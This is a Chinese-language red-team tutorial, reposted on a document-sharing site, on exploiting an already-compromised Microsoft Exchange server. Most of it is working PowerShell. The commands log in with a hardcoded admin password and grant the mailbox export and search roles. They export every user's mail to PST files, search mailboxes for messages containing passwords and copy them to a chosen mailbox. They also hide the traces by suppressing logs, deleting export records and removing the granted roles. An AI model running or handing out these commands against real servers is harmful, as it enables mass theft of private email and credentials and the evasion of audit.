打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
Exchange邮箱服务器后利用
Exchange邮箱服务器后利用

目录


使用PSSession连接Exchange服务器管理邮件
    导出邮件
        导出所有用户的所有邮件
        导出指定用户的所有邮件
        筛选导出邮件
        导出请求记录
    使用powershell脚本导出邮件
        导出指定用户的所有邮件
        导出所有用户的所有邮件
    搜索邮件
        搜索邮件的常用命令
        使用powershell脚本搜索
    在Exchange服务器上直接管理邮件
    导出邮件
        导出所有用户的所有邮件
        导出指定用户的所有邮件
        使用powershell脚本导出邮件
    搜索邮件
        搜索邮件的常用命令
        使用powershell脚本搜索


作者:谢公子 @深蓝攻防实验室

当我们拿到了Exchange邮箱服务器权限后,我们可以进行进一步的利用。比如导出所有用户或指定用户的邮件、搜索特定用户或所有用户的敏感邮件等等。

使用PSSession连接Exchange服务器管理邮件

首先使用PSSession连接Exchange服务器

#使用PSSession连接Exchange服务器

$User = 'xie\administrator'

$Pass = ConvertTo-SecureString -AsPlainText P@ssword1234 -Force

$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass

$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://mail.xie.com/PowerShell/ -Authentication Kerberos -Credential $Credential

Import-PSSession $Session -AllowClobber

#查看所有用户邮箱地址

Get-Mailbox

#查看PSSession

Get-PSSession

#断开PSSession

Remove-PSSession $Session

导出邮件

在使用PSSession连接Exchange服务器后,执行以下操作导出邮件

    1. 将用户添加到角色组”Mailbox Import Export”
    2. 重新启动Powershell否则无法使用命令`New-MailboxexportRequest`
    3. 导出邮件,导出的文件格式后缀为 .pst,可以用 outlook打开

将用户从角色组”Mailbox Import Export” 添加、移除

#将用户hack添加到Mailbox Import Export组

New-ManagementRoleAssignment –Role 'Mailbox Import Export' –User administrator

#查看Mailbox Import Export组内的用户

Get-ManagementRoleAssignment –Role 'Mailbox Import Export'|fl user

#将用户hack从Mailbox Import Export组移除

Remove-ManagementRoleAssignment -Identity 'Mailbox Import Export-administrator

' -Confirm:$false

导出所有用户的所有邮件

导出所有用户的所有邮件到 C:\users\public\ 目录下

Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -mailbox $_.name -FilePath ('\\localhost\c$\users\public\' ($_.name) '.pst') -CompletedRequestAgeLimit 0 }

导出指定用户的所有邮件

导出指定administrator用户的所有邮件到 C:\users\public\ 目录下

$Username = 'administrator'

New-MailboxexportRequest -mailbox $Username -FilePath ('\\localhost\c$\users\public\' $Username '.pst') -CompletedRequestAgeLimit 0

筛选导出邮件

筛选出指定用户的administrator中包含pass的邮件,保存到Exchange服务器的c:\users\public\目录下

$User = 'administrator'

New-MailboxexportRequest -mailbox $User -ContentFilter {(body -like '*密码*')} -FilePath ('\\localhost\c$\users\public\' $User '.pst') -CompletedRequestAgeLimit 0

导出请求记录

导出后会自动保存导出请求的记录,默认为30天,如果不想保存导出请求,可以加上参数

-CompletedRequestAgeLimit 0

其他关于导出请求记录命令

#查看邮件导出请求

Get-MailboxExportRequest

#删除所有导出请求

Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

#删除某个导出请求

Remove-MailboxExportRequest -Identity 'xie.com/Users/hack\MailboxExport' -Confirm:$false

使用powershell脚本导出邮件

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToExportMailfromExchange.ps1


该脚本流程如下:

1. 使用PSSession连接到Exchange服务器
2. 判断使用的用户是否被加入到角色组”Mailbox Import Export” 如果未被添加,需要添加用户
3. 导出邮件并保存至Exchange服务器的c:\users\public ,格式为pst文件
4. 如果新添加了用户,那么会将用户移除角色组”Mailbox Import Export”
5. 清除PSSession

对脚本进行了简单的修改,使用命令如下:

导出指定用户的所有邮件

import-module .\UsePSSessionToExportMailfromExchange.ps1

UsePSSessionToExportMailfromExchange -User 'administrator' -Password 'P@ssword1234' -MailBox 'administrator' -ExportPath '\\localhost\c$\users\public\' -ConnectionUri 'http://mail.xie.com/PowerShell/'

导出所有用户的所有邮件

Import-Module .\UsePSSessionToExportAllUserMailfromExchange.ps1

UsePSSessionToExportMailfromExchange -User 'administrator' -Password 'P@ssword1234' -ExportPath '\\localhost\c$\users\public\' -ConnectionUri 'http://mail.xie.com/PowerShell/'

目前该功能已经集成到插件中

搜索邮件
搜索邮件的常用命令

基本流程同导出邮件类似,但是区别在于角色组`'Mailbox Import Export'`需要更换成`'Mailbox Search'`

#使用PSSession连接Exchange服务器
$User = 'xie\administrator'
$Pass = ConvertTo-SecureString -AsPlainText P@ssword1234 -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://mail.xie.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber

#将用户添加到角色组”Mailbox Search”
New-ManagementRoleAssignment –Role 'Mailbox Search' –User administrator

#搜索所有包含单词pass的邮件并保存到用户test2的outAll文件夹
Get-Mailbox|Search-Mailbox -SearchQuery `'*pass*`' -TargetMailbox 'test' -TargetFolder 'outAll' -LogLevel Suppress| Out-Null

#搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹
Search-Mailbox -Identity 'administrator' -SearchQuery `'*pass*`' -TargetMailbox 'test' -TargetFolder 'out' -LogLevel Suppress| Out-Null

登录test用户邮箱,即可看到out和outAll收件箱。

使用powershell脚本搜索

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToSearchMailfromExchange.ps1

搜索所有用户的邮件中包含单词pass的邮件并保存到用户test的outAll文件夹:

UsePSSessionToSearchMailfromExchange -User 'administrator' -Password 'P@ssword1234' -MailBox 'All' -ConnectionUri 'http://mail.xie.com/PowerShell/' -Filter `'*pass*`' -TargetMailbox 'test' -TargetFolder 'outAll'

搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹:

UsePSSessionToSearchMailfromExchange -User 'administrator' -Password 'P@ssword1234' -MailBox 'administrator' -ConnectionUri 'http://mail.xie.com/PowerShell/' -Filter `'*pass*`' -TargetMailbox 'test' -TargetFolder 'out'

目前该功能已经集成到插件中

在Exchange服务器上直接管理邮件

添加管理单元,不同Exchange版本对应的管理单元名称不同:

#Exchange 2007

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;

#Exchange 2010

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;

#Exchange 2013 & 2016: 

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

#获取所有用户邮箱(默认显示1000个)

Get-Mailbox

#获取所有用户邮箱(加上-ResultSize参数,则显示所有)

Get-Mailbox -ResultSize unlimited

#只显示所有用户邮箱Name自段

Get-Mailbox|fl Name 

#获得所有邮箱的信息,包括邮件数和上次访问邮箱的时间

Get-Mailbox | Get-MailboxStatistics

#获得所有OU

Get-OrganizationalUnit

#查询指定用户指定时间起发送邮件的记录

Get-MessageTrackingLog -EventID send -Start '01/11/2019 09:00:00' -Sender 'test@xie.com'

导出邮件
导出所有用户的所有邮件

导出所有用户的邮件,保存到Exchange服务器的c:\users\public\ 目录:

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

Get-Mailbox | %{New-MailboxexportRequest -mailbox $_.name -FilePath ('\\localhost\c$\users\public\' ($_.name) '.pst')}

导出指定用户的所有邮件

导出指定用户administrator的邮件,保存到Exchange服务器的c:\users\public\ 目录:

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

$User = 'administrator'

New-MailboxexportRequest -mailbox $User -FilePath ('\\localhost\c$\users\public\' $User '.pst')

使用powershell脚本导出邮件

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/DirectExportMailfromExchange.ps1

使用时需要指定Exchange版本

Import-module DirectExportMailfromExchange.ps1

DirectExportMailfromExchange -MailBox 'administrator' -ExportPath '\\localhost\c$\users\public\' -Filter '{`'(body -like `'*pass*`')`'}' -Version 2016

搜索邮件
搜索邮件的常用命令

#枚举所有邮箱用户,显示包含关键词pass的邮件的数量

Get-Mailbox|Search-Mailbox -SearchQuery `'*pass*`' -EstimateResultOnly

#搜索邮箱用户test,显示包含关键词pass的邮件的数量

Search-Mailbox -Identity test -SearchQuery `'*pass*`' -EstimateResultOnly

#枚举所有邮箱用户,导出包含关键词pass的邮件至用户test的文件夹out中(不保存日志)

Get-Mailbox|Search-Mailbox -SearchQuery `'*pass*`' -TargetMailbox 'test' -TargetFolder 'outall' -LogLevel Suppress

#搜索邮箱用户test,导出包含关键词pass的邮件至用户test的文件夹out中(不保存日志)

Search-Mailbox -Identity administrator -SearchQuery `'*pass*`' -TargetMailbox 'test' -TargetFolder 'out' -LogLevel Suppress

使用powershell脚本搜索

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
上中下通用痛风丸专治痛风,痹症,腰腿痛
摄影:游南京历史文化街区------熙南里(27)
女人喜欢你,会有的表现有哪些?
男女关系:日久生情的秘密!
湖南一农村发生怪事,20多位青年男性离奇身亡,女性却相安无事,专家揭开真相
女人为什么要结婚?
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服